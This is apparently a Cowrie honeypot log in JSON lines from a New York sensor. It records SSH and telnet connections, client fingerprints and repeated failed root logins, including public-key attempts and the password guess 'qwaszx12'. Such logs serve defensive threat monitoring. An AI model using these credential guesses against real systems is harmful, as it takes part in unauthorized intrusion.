{"eventid":"cowrie.session.connect","src_ip":"78.111.67.242","src_port":34086,"dst_ip":"10.17.0.5","dst_port":22,"session":"028459bc64d5","protocol":"ssh","message":"New connection: 78.111.67.242:34086 (10.17.0.5:22) [session: 028459bc64d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:36.746486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:36.750994Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:36.842105Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:42:d0:94:93:a9:24:a6:b2:72:45:3c:9b:7c:ca:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjQXmo37fUHd11A/o/b3/2lWnq0QN4GpKl8odf4n/tyXTYRHObGGWeR6lOLJVlQRDp49CmuaR05FBqOQchii6jRjlLEkk0bO9X7nWFlpnNs8Gl+W4zu7MOqhYRRA87r83Fd2oLOb6uJ5PHsUqTCvhqEv/8cf/Ybd8IOFd/GRIeRI7DW7KMSb0SJuje7ADHfwPO1j69rRqo7/iuB+np4O1BT9/0x1MLTO7T+ic8TODOl+aISnZGUOHeI7GDDt+XciUmPALBIugB3NbVS4AsdVIV27EJWa86bg04528qVcnP6Ma71lo34c5mP9qEPsTZkn8kGx1YqLVPXZ2ufqC5oz1h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:42:d0:94:93:a9:24:a6:b2:72:45:3c:9b:7c:ca:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.275663Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:42:d0:94:93:a9:24:a6:b2:72:45:3c:9b:7c:ca:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjQXmo37fUHd11A/o/b3/2lWnq0QN4GpKl8odf4n/tyXTYRHObGGWeR6lOLJVlQRDp49CmuaR05FBqOQchii6jRjlLEkk0bO9X7nWFlpnNs8Gl+W4zu7MOqhYRRA87r83Fd2oLOb6uJ5PHsUqTCvhqEv/8cf/Ybd8IOFd/GRIeRI7DW7KMSb0SJuje7ADHfwPO1j69rRqo7/iuB+np4O1BT9/0x1MLTO7T+ic8TODOl+aISnZGUOHeI7GDDt+XciUmPALBIugB3NbVS4AsdVIV27EJWa86bg04528qVcnP6Ma71lo34c5mP9qEPsTZkn8kGx1YqLVPXZ2ufqC5oz1h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.279592Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:65:f0:71:57:4b:af:0a:2e:c2:ec:35:c2:72:07:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvaRKOgpW43IGyWv3AvOUx7ZyWUvIS9o7e3bbMkXdNZFWoqCS0c+cla5iDuvDju+lBLmhzjZOmlWnDkvgtOQvbUUkNgOTtm2C10CMXrGcjPhjSVQQM8xfe3j8VGUroibB5hOJmE4jI3c2X20Rm27zTxLs3yhJECTJh2XM+WEGpNDXhJaqdTY3+oy6dcMWpYO9+/0KYmTp/ZO9ZQzT2ozJO6VXoryIInMHhsFnVBGAf02TxdSGyocqMXaCNB0ldrBBlX/YOyPuVOWnvsZMtw15TQQgc2eGcBDsbRYS02wbqd8bf/ddbOlmQnU5s2U6ljAqO/1LdBVlACWD232EimUMD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:65:f0:71:57:4b:af:0a:2e:c2:ec:35:c2:72:07:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.371311Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:65:f0:71:57:4b:af:0a:2e:c2:ec:35:c2:72:07:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvaRKOgpW43IGyWv3AvOUx7ZyWUvIS9o7e3bbMkXdNZFWoqCS0c+cla5iDuvDju+lBLmhzjZOmlWnDkvgtOQvbUUkNgOTtm2C10CMXrGcjPhjSVQQM8xfe3j8VGUroibB5hOJmE4jI3c2X20Rm27zTxLs3yhJECTJh2XM+WEGpNDXhJaqdTY3+oy6dcMWpYO9+/0KYmTp/ZO9ZQzT2ozJO6VXoryIInMHhsFnVBGAf02TxdSGyocqMXaCNB0ldrBBlX/YOyPuVOWnvsZMtw15TQQgc2eGcBDsbRYS02wbqd8bf/ddbOlmQnU5s2U6ljAqO/1LdBVlACWD232EimUMD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.377944Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:22:06:55:45:ea:40:e6:f2:2d:20:fa:5a:ef:d9:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFfE18R5YajnrThyri5fv2vTm/d4qJ8z76EL7Sbq4GVd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 99:22:06:55:45:ea:40:e6:f2:2d:20:fa:5a:ef:d9:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.470797Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:22:06:55:45:ea:40:e6:f2:2d:20:fa:5a:ef:d9:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFfE18R5YajnrThyri5fv2vTm/d4qJ8z76EL7Sbq4GVd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.474959Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:53:3c:49:21:eb:a8:2d:0b:70:a7:16:c6:d9:33:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv1YbmOMPuY88Byapxrs3M7yeQrk0JcuQgXkoktZaE4J+dnbAcmAhYRvQ3tzCpcnEECYgM0jJAqtqOo2lIX3SRztIN5lDxACqbt07LlD+xndQTY+opmDaKDhWwyovQwcbWlPQUpNw/zWWco3cTd+ftCQkPXR+Z/q7+FsBmldElGwc6L+TBUkSVmI8+b+mZQ5H443W8q7AeUBk1lxHWeR4wHg5HXvKqVz+4oZRXYsuSjaOJBIO4mVXw1T5dzc/pC8C8Gi3FdqBdhy7Sgheh7F0XsPt2PXzeOGw12a9EpbcYcnEPY6Nrdbj/MH59NViBjYqj8kgfRtBAGKUk0Hy9I177pa3WadDABsuapCkHbea8+7ROEtMfoXj/BPhdGDgYwc/3P/duJDusD9HLLETMdKZP3t+GYykcQqzgCRW5StTLPXGToBz9wp1Glix53VPGC70y8/q4Ypmy8fcgYi6QXxo3cgTmpWYp8vGZMRC6ntL91ycNr6siQ+D0NVj9nGLX6u4x1XDyqb8Qp6EUMQBlwdaPInp9O8X6fbB8z/FL39Riczx1u+vEJbvhZMPlFs7C2Aq+l8pWWTqrVYSelOEVSKMK3MvVdqDu4BwWrPuARBq3mvDwZ5eOB7s8Wpoq5mUegMBmHkgl0IUSur0AmL/NbJevedOs2JGxUF0Jio7IndAXzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:53:3c:49:21:eb:a8:2d:0b:70:a7:16:c6:d9:33:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.568073Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:53:3c:49:21:eb:a8:2d:0b:70:a7:16:c6:d9:33:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCv1YbmOMPuY88Byapxrs3M7yeQrk0JcuQgXkoktZaE4J+dnbAcmAhYRvQ3tzCpcnEECYgM0jJAqtqOo2lIX3SRztIN5lDxACqbt07LlD+xndQTY+opmDaKDhWwyovQwcbWlPQUpNw/zWWco3cTd+ftCQkPXR+Z/q7+FsBmldElGwc6L+TBUkSVmI8+b+mZQ5H443W8q7AeUBk1lxHWeR4wHg5HXvKqVz+4oZRXYsuSjaOJBIO4mVXw1T5dzc/pC8C8Gi3FdqBdhy7Sgheh7F0XsPt2PXzeOGw12a9EpbcYcnEPY6Nrdbj/MH59NViBjYqj8kgfRtBAGKUk0Hy9I177pa3WadDABsuapCkHbea8+7ROEtMfoXj/BPhdGDgYwc/3P/duJDusD9HLLETMdKZP3t+GYykcQqzgCRW5StTLPXGToBz9wp1Glix53VPGC70y8/q4Ypmy8fcgYi6QXxo3cgTmpWYp8vGZMRC6ntL91ycNr6siQ+D0NVj9nGLX6u4x1XDyqb8Qp6EUMQBlwdaPInp9O8X6fbB8z/FL39Riczx1u+vEJbvhZMPlFs7C2Aq+l8pWWTqrVYSelOEVSKMK3MvVdqDu4BwWrPuARBq3mvDwZ5eOB7s8Wpoq5mUegMBmHkgl0IUSur0AmL/NbJevedOs2JGxUF0Jio7IndAXzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.572218Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:56:21:05:95:1e:cb:22:2f:44:9f:c1:46:bf:6d:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMY0+7E6s5AxEogNOGnsa4nlT0fJ/E+9uOTuyDH+h+nIv7WgSWFUoMgfd2qikgwVh5TfudH9rttH0BNItCcOE+A2hZ8rouEgL+fraC97eZXZ9VScQ/8nLvuKwP7bzS1K6vQ1hdtwM1yDjxEapDFkaRfOptaU1yQ0eju7NnbEMD8PD+rhFNEoqLC1nHVWQVOUk9XKvgo0fq72EpShP2kZmzUCRbgP8YSIyDTsvenT0TJf34XKhGLsexIHi796peTNYzetiRPOv/TiiMPKC+/Aud+n5I2kb2LXLksLEwzNA8dwnVh5dp4QwIZFEu2a0FwddGKUduB/l3oW9AZyBgWoMWClYMoR8ay2ZtxNp0HdaZAo5mPknL9PjrIz6L4tGo5K8h/XKGe5brm9N3uuOyKcP95rS8hSw5UHAf8ZeMO3gXmB53VhpdAI5UEUSwuxnr3TeOAjx1ZBCxWZSLjxE55ZvHrNJRDkQ9Fpv8qTe333118B0bRp/gggSOPyOdJaK3wEsrEKXoRMcyXtekoWk2CnbDEkhNcPz3+NqfUUssiKI2zPyep0N8oTyLLV1VUy8+ea8xJO4c/h9W8JdiAbXcu7aFySM0/CPfjccw1H8hHHwUqlVbLYhJsI3vqiXArrVidCnN2yr5lsH5snrjYRWSc4nkpeuN8dupoMIUI7JAMh7vGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:56:21:05:95:1e:cb:22:2f:44:9f:c1:46:bf:6d:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.664021Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:56:21:05:95:1e:cb:22:2f:44:9f:c1:46:bf:6d:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMY0+7E6s5AxEogNOGnsa4nlT0fJ/E+9uOTuyDH+h+nIv7WgSWFUoMgfd2qikgwVh5TfudH9rttH0BNItCcOE+A2hZ8rouEgL+fraC97eZXZ9VScQ/8nLvuKwP7bzS1K6vQ1hdtwM1yDjxEapDFkaRfOptaU1yQ0eju7NnbEMD8PD+rhFNEoqLC1nHVWQVOUk9XKvgo0fq72EpShP2kZmzUCRbgP8YSIyDTsvenT0TJf34XKhGLsexIHi796peTNYzetiRPOv/TiiMPKC+/Aud+n5I2kb2LXLksLEwzNA8dwnVh5dp4QwIZFEu2a0FwddGKUduB/l3oW9AZyBgWoMWClYMoR8ay2ZtxNp0HdaZAo5mPknL9PjrIz6L4tGo5K8h/XKGe5brm9N3uuOyKcP95rS8hSw5UHAf8ZeMO3gXmB53VhpdAI5UEUSwuxnr3TeOAjx1ZBCxWZSLjxE55ZvHrNJRDkQ9Fpv8qTe333118B0bRp/gggSOPyOdJaK3wEsrEKXoRMcyXtekoWk2CnbDEkhNcPz3+NqfUUssiKI2zPyep0N8oTyLLV1VUy8+ea8xJO4c/h9W8JdiAbXcu7aFySM0/CPfjccw1H8hHHwUqlVbLYhJsI3vqiXArrVidCnN2yr5lsH5snrjYRWSc4nkpeuN8dupoMIUI7JAMh7vGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.668508Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:37.761360Z","src_ip":"78.111.67.242","session":"028459bc64d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57784,"dst_ip":"10.17.0.5","dst_port":23,"session":"001f0859c2b7","protocol":"telnet","message":"New connection: 152.42.224.71:57784 (10.17.0.5:23) [session: 001f0859c2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:40.438991Z"}
{"eventid":"cowrie.session.closed","duration":49.97483468055725,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:42.704180Z","src_ip":"152.42.224.71","session":"4ff90eb857c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.002782106399536,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:46.183311Z","src_ip":"152.42.224.71","session":"c0b046618a8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.99836254119873,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:55.260457Z","src_ip":"152.42.224.71","session":"1958c44bd864","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48286,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1ff4064117d","protocol":"telnet","message":"New connection: 152.42.224.71:48286 (10.17.0.5:23) [session: b1ff4064117d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:27:56.474859Z"}
{"eventid":"cowrie.session.closed","duration":50.51170611381531,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:06.786941Z","src_ip":"152.42.224.71","session":"feec0810f677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51498,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c05214623b9","protocol":"ssh","message":"New connection: 103.27.238.114:51498 (159.203.135.109:22) [session: 2c05214623b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:09.734059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:09.738857Z","src_ip":"103.27.238.114","session":"2c05214623b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:10.009031Z","src_ip":"103.27.238.114","session":"2c05214623b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx12","message":"login attempt [root/qwaszx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:10.820183Z","src_ip":"103.27.238.114","session":"2c05214623b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:12.093818Z","src_ip":"103.27.238.114","session":"2c05214623b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.140.146.1","src_port":34386,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d974cbcc67","protocol":"telnet","message":"New connection: 190.140.146.1:34386 (10.17.0.5:23) [session: 77d974cbcc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:17.305684Z"}
{"eventid":"cowrie.session.closed","duration":53.37703728675842,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:23.867497Z","src_ip":"152.42.224.71","session":"7008cc3f9747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33072,"dst_ip":"10.17.0.5","dst_port":23,"session":"114572bf272a","protocol":"telnet","message":"New connection: 152.42.224.71:33072 (10.17.0.5:23) [session: 114572bf272a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.160905Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.194","src_port":47524,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a3a550d619","protocol":"ssh","message":"New connection: 185.255.100.194:47524 (10.17.0.5:22) [session: 35a3a550d619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.475079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.480133Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.488090Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:a7:c0:af:b1:85:77:59:8d:6c:80:09:10:40:a1:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBk4NvyCRUwvogku7IVB+jL4OI/c6tUJ9ulZ/W1SN8i2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ed:a7:c0:af:b1:85:77:59:8d:6c:80:09:10:40:a1:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.506149Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:a7:c0:af:b1:85:77:59:8d:6c:80:09:10:40:a1:7d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBk4NvyCRUwvogku7IVB+jL4OI/c6tUJ9ulZ/W1SN8i2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.510606Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:e9:7f:20:ce:14:f1:e4:7b:eb:28:e1:84:9d:4f:61","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII5QPnAQwK5f9SuYF2OE2ibgYSAerNfQ9f86109YxUYE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 50:e9:7f:20:ce:14:f1:e4:7b:eb:28:e1:84:9d:4f:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:28:25.519513Z","src_ip":"185.255.100.194","session":"35a3a550d619","protocol":"ssh"}
